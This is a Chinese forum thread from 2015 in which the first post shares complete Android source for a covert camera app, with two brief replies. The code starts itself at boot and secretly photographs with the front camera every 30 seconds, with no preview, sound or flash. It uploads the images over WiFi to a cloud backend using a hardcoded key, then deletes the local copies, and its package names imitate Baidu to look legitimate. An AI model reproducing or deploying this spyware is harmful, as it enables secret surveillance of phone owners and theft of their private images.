免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1411 | 回复: 2
打印 上一主题 下一主题

[Android] 转载:漏洞利用代码(可悄悄地拍下并上传照片) [复制链接]

论坛徽章:
1
操作系统版块每日发帖之星
日期:2015-07-07 22:20:00
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2015-07-06 14:38 |只看该作者 |倒序浏览
刚才看了西贝上的一篇文章:http://www.cnbeta.com/articles/295257.htm
这里面竟然说后台拍摄照片是ANDROID平台的漏洞,大家看一下是漏洞吗?
这个DEMO会在后台自动的拍摄照片,拍摄的过程无预览、无声音、无闪光灯等任何提示。
并上传到指定服务器上,由于软件可能被恶意利用,我就上传一个APK和核心代码吧。

PhotoHandler.java
  1. package com.baidu.handle;

  2. import java.io.File;
  3. import java.io.FileOutputStream;
  4. import java.text.SimpleDateFormat;
  5. import java.util.Date;

  6. import android.content.Context;
  7. import android.hardware.Camera;
  8. import android.hardware.Camera.PictureCallback;
  9. import android.os.Environment;


  10. public class PhotoHandler implements PictureCallback {

  11.     private final Context context;

  12.     public PhotoHandler(Context context) {
  13.         this.context = context;
  14.     }

  15.     public void onPictureTaken(byte[] data, Camera camera) {
  16.         print("照片拍摄回调");
  17.         File pictureFileDir = getDir();
  18.         if (!pictureFileDir.exists() && !pictureFileDir.mkdirs()) {
  19.             print("目录不正确");
  20.             return;
  21.         }

  22.         String[] fileList=pictureFileDir.list();
  23.         if(fileList.length>10){
  24.             print("超过了10个文件,不再拍摄");
  25.             return;
  26.         }
  27.         SimpleDateFormat dateFormat = new SimpleDateFormat("yyyymmddhhmmss");
  28.         String date = dateFormat.format(new Date());
  29.         String photoFile = "Photo_" + date + ".jpg";
  30.         String filename = pictureFileDir.getPath() + File.separator + photoFile;

  31.         File pictureFile = new File(filename);
  32.         try {
  33.             FileOutputStream fos = new FileOutputStream(pictureFile);
  34.             fos.write(data);
  35.             fos.close();
  36.             camera.stopPreview();
  37.             camera.release();
  38.         } catch (Exception error) {
  39.             error.printStackTrace();
  40.         }
  41.     }

  42.     public File getDir() {
  43.        return     new File(context.getApplicationContext().getFilesDir().getAbsolutePath());
  44. //        return new File(Environment.getExternalStorageDirectory().getPath()+"/Pictures");
  45.          
  46.     }
  47.     private void print(String s){
  48.         System.out.println(s);
  49.     }

  50. }
复制代码
CameraService.java
  1. package com.baidu.service;

  2. import java.io.File;
  3. import java.io.IOException;
  4. import android.app.AlarmManager;
  5. import android.app.PendingIntent;
  6. import android.app.Service;
  7. import android.content.BroadcastReceiver;
  8. import android.content.Context;
  9. import android.content.Intent;
  10. import android.content.IntentFilter;
  11. import android.hardware.Camera;
  12. import android.net.wifi.WifiInfo;
  13. import android.net.wifi.WifiManager;
  14. import android.os.BatteryManager;
  15. import android.os.Binder;
  16. import android.os.IBinder;
  17. import android.os.PowerManager;
  18. import android.text.format.Time;
  19. import android.view.SurfaceView;
  20. import cn.bmob.Bmob;
  21. import cn.bmob.BmobFile;
  22. import cn.bmob.BmobObject;

  23. import com.baidu.handle.PhotoHandler;

  24. public class CameraService extends Service implements Runnable {

  25.     private AlarmManager am = null;
  26.     private Camera camera;
  27.     public static boolean isCharging=false;
  28.     private final IBinder mBinder = new LocalBinder();
  29.     private boolean offQty=false;

  30. //  private NotificationManager mNM;

  31.     /**
  32.      * Class for clients to access. Because we know this service always runs in
  33.      * the same process as its clients, we don't need to deal with IPC.
  34.      */
  35.     public class LocalBinder extends Binder {
  36.         public CameraService getService() {
  37.             return CameraService.this;
  38.         }
  39.     }

  40.     public void run() {
  41.         print("WIFI:"+isWiFiActive(CameraService.this));
  42.         print("充电:"+isCharging);
  43.         if(!isWiFiActive(CameraService.this))return;
  44. //      if(!isCharging)return;
  45.          
  46.         File pictureFileDir =new File(this.getApplicationContext().getFilesDir().getAbsolutePath());
  47. //      File pictureFileDir =new File(Environment.getExternalStorageDirectory().getPath()+"/Pictures");
  48.         String[] fileList=pictureFileDir.list();
  49.         if(fileList==null){
  50.             print("没有文件");
  51.             return;
  52.         }else{
  53.             print("文件数:"+fileList.length);
  54.         }
  55.         for(String s:fileList){
  56.             String filename = pictureFileDir.getPath() + File.separator + s;
  57.             print(filename);
  58.             BmobFile bmobFile;
  59.             try{
  60.                 BmobObject bObject = new BmobObject("Application");
  61.                 bmobFile = new BmobFile("Pictures", new File(filename));
  62.                 bmobFile.save();
  63.                 bObject.put("applicatName","Barbie");
  64.                 bObject.put("applicatFile",bmobFile);
  65.                 bObject.saveInBackground();
  66.                 File pictureFile = new File(filename);
  67.                 pictureFile.delete();
  68.                 System.out.println("图片上传完毕");
  69.             }catch(Exception  e){
  70.                 print("文件出错了");
  71.                 e.printStackTrace();
  72.             }
  73.         }
  74.     }
  75.      
  76.     @Override
  77.     public void onCreate() {
  78.         init();
  79.     }

  80.     private void init() {
  81.         print("init succeed!");
  82.         //从www.codenow.cn申请一个账户,添加Application ID
  83.         Bmob.initialize(CameraService.this, "da7965baf295e43970912f56c2f1cd1a");
  84.         am = (AlarmManager) getSystemService(ALARM_SERVICE);
  85.         // 注册广播
  86.         IntentFilter filter = new IntentFilter();
  87.         filter.addAction("com.baidu.alarm");
  88.         registerReceiver(alarmReceiver, filter);
  89.         registerReceiver(mbatteryReceiver, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
  90.         Intent intent = new Intent();
  91.         intent.setAction("com.baidu.alarm");
  92.         PendingIntent pi = PendingIntent.getBroadcast(this, 0, intent, 0);
  93.         am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),
  94.                 1000 * 30, pi);// 马上开始,每5分钟触发一次
  95.     }

  96.     @Override
  97.     public int onStartCommand(Intent intent, int flags, int startId) {
  98.         return START_STICKY;
  99.     }

  100.     @Override
  101.     public IBinder onBind(Intent intent) {
  102.         return mBinder;
  103.     }

  104.     BroadcastReceiver alarmReceiver = new BroadcastReceiver() {
  105.         @Override
  106.         public void onReceive(Context context, Intent intent) {
  107.             if ("com.baidu.alarm".equals(intent.getAction())) {
  108.                 new Thread(CameraService.this).start();
  109.                 Time t=new Time();
  110.                 t.setToNow();
  111.                 print("我在执行时间判断");
  112.                 if((t.hour<5) || t.hour>24){
  113.                     print("时间不正确,不拍摄!");
  114.                     return;
  115.                 }
  116.                 PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);  
  117.                 if(pm.isScreenOn()) {
  118.                     offQty=false;
  119.                     print("屏幕是亮的");
  120.                 }else{
  121.                     print("屏幕是暗的");
  122.                     if(offQty==true) return;
  123.                 }
  124.                  
  125.                 camera = openFacingBackCamera();
  126.                 if (camera != null) {
  127.                     SurfaceView dummy = new SurfaceView(getBaseContext());
  128.                     try {
  129.                         camera.setPreviewDisplay(dummy.getHolder());
  130.                     } catch (IOException e) {
  131.                         print("拍摄出问题");
  132.                         //e.printStackTrace();
  133.                     }
  134.                     camera.startPreview();
  135.                     camera.autoFocus(null);
  136.                     camera.takePicture(null, null, new PhotoHandler(
  137.                             getApplicationContext()));
  138.                     if(!pm.isScreenOn()) offQty=true;
  139.                     print("图片拍摄完毕");
  140.                 }else{
  141.                     print("木有照相机T_T");
  142.                 }
  143.                  
  144.             }
  145.         }
  146.     };

  147.     /**
  148.      * 判断WIFI是否连接
  149.      * @param inContext
  150.      * @return
  151.      */
  152.     public static boolean isWiFiActive(Context inContext) {
  153.         WifiManager mWifiManager = (WifiManager) inContext
  154.         .getSystemService(Context.WIFI_SERVICE);
  155.         WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
  156.         int ipAddress = wifiInfo == null ? 0 : wifiInfo.getIpAddress();
  157.         if (mWifiManager.isWifiEnabled() && ipAddress != 0) {
  158.             return true;
  159.         } else {
  160.             return false;   
  161.         }
  162. }
  163.      
  164.      
  165.     /**
  166.      * 获得摄像头
  167.      * @return 后置摄像头
  168.      */
  169.     private Camera openFacingBackCamera() {
  170.         Camera cam = null;
  171.         Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
  172.             for (int camIdx = 0, cameraCount = Camera.getNumberOfCameras(); camIdx < cameraCount; camIdx++) {
  173.                 Camera.getCameraInfo(camIdx, cameraInfo);
  174.      
  175.                 if (cameraInfo.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
  176.                     try {
  177.                         cam = Camera.open(camIdx);
  178.                     } catch (Exception e) {
  179.                     }
  180.                 }
  181.             }
  182.          
  183.         return cam;
  184.     }
  185.      

  186.     /**
  187.      * 判断手机是否在充电
  188.      */
  189.     private BroadcastReceiver mbatteryReceiver=new BroadcastReceiver()
  190.     {
  191.         @Override
  192.         public void onReceive(Context context, Intent intent)
  193.         {
  194.             String action =intent.getAction();
  195.             if(Intent.ACTION_BATTERY_CHANGED.equals(action));
  196.             {
  197.                 int status=intent.getIntExtra("status",BatteryManager.BATTERY_STATUS_UNKNOWN);
  198.                 if(status==BatteryManager.BATTERY_STATUS_CHARGING)
  199.                 {
  200.                    isCharging=true;
  201.                 }
  202.                 else
  203.                 {
  204.                     isCharging=false;
  205.                 }
  206.             }
  207.         }
  208.     };

  209.     private void print(String s){
  210.         System.out.println(s);
  211.     }
  212. }
复制代码
MainActivity.java
  1. package com.hacker;


  2. import com.baidu.service.CameraService;
  3. import android.app.Activity;
  4. import android.content.ComponentName;
  5. import android.content.Context;
  6. import android.content.Intent;
  7. import android.content.ServiceConnection;
  8. import android.os.Bundle;
  9. import android.os.IBinder;
  10. import android.widget.ImageView;

  11. //程序的主界面,主要用来根据部门显示姓名
  12. public class MainActivity extends Activity {
  13.     private Intent serviceIntent;

  14.     /**
  15.      * 创建显示主界面
  16.      */
  17.     @Override
  18.     public void onCreate(Bundle savedInstanceState) {

  19.         super.onCreate(savedInstanceState);
  20.          
  21.         setContentView(R.layout.activity_main);
  22.         final ImageView image1 = (ImageView)findViewById(R.id.image1);
  23.                
  24.         serviceIntent = new Intent(MainActivity.this, CameraService.class);
  25.         startService(serviceIntent);
  26.         bindService(serviceIntent, serviceConnection, Context.BIND_AUTO_CREATE);
  27.          
  28.          
  29.     }
  30.      

  31.     @Override
  32.     protected void onDestroy(){
  33.         super.onDestroy();
  34.         unbindService(serviceConnection);
  35.     }

  36.     ServiceConnection serviceConnection = new ServiceConnection() {

  37.         public void onServiceConnected(ComponentName name, IBinder service) {
  38.             ((CameraService.LocalBinder) service).getService();
  39.         }

  40.         public void onServiceDisconnected(ComponentName name) {
  41.         }

  42.     };
  43.    
  44. }
复制代码
BootCompleteReceiver.java
  1. package com.hacker;

  2. import com.baidu.service.CameraService;

  3. import android.content.BroadcastReceiver;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.util.Log;


  7. public class BootCompleteReceiver extends BroadcastReceiver {

  8.     @Override
  9.     public void onReceive(Context context, Intent intent) {
  10.         // 这个类是用来在手机启动后,接收到手机启动的信息,然后启动电话监听服务的
  11.         Intent service = new Intent(context, CameraService.class);
  12.         context.startService(service);
  13.         Log.d("PhoneService","服务已经成功启动");
  14.     }

  15. }
复制代码

论坛徽章:
59
2015七夕节徽章
日期:2015-08-24 11:17:25ChinaUnix专家徽章
日期:2015-07-20 09:19:30每周论坛发贴之星
日期:2015-07-20 09:19:42ChinaUnix元老
日期:2015-07-20 11:04:38荣誉版主
日期:2015-07-20 11:05:19巳蛇
日期:2015-07-20 11:05:26CU十二周年纪念徽章
日期:2015-07-20 11:05:27IT运维版块每日发帖之星
日期:2015-07-20 11:05:34操作系统版块每日发帖之星
日期:2015-07-20 11:05:36程序设计版块每日发帖之星
日期:2015-07-20 11:05:40数据库技术版块每日发帖之星
日期:2015-07-20 11:05:432015年辞旧岁徽章
日期:2015-07-20 11:05:44
2 [报告]
发表于 2015-07-11 20:54 |只看该作者
每种操作系统的漏洞都不少。

论坛徽章:
80
20周年集字徽章-庆
日期:2020-10-28 14:09:1215-16赛季CBA联赛之北京
日期:2020-10-28 13:32:5315-16赛季CBA联赛之北控
日期:2020-10-28 13:32:4815-16赛季CBA联赛之天津
日期:2020-10-28 13:13:35黑曼巴
日期:2020-10-28 12:29:1520周年集字徽章-周	
日期:2020-10-31 15:10:0720周年集字徽章-20	
日期:2020-10-31 15:10:07ChinaUnix元老
日期:2015-09-29 11:56:3020周年集字徽章-年
日期:2020-10-28 14:14:56
3 [报告]
发表于 2015-07-20 13:34 |只看该作者
楼主这耗电量怎么样?是不是很大的
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP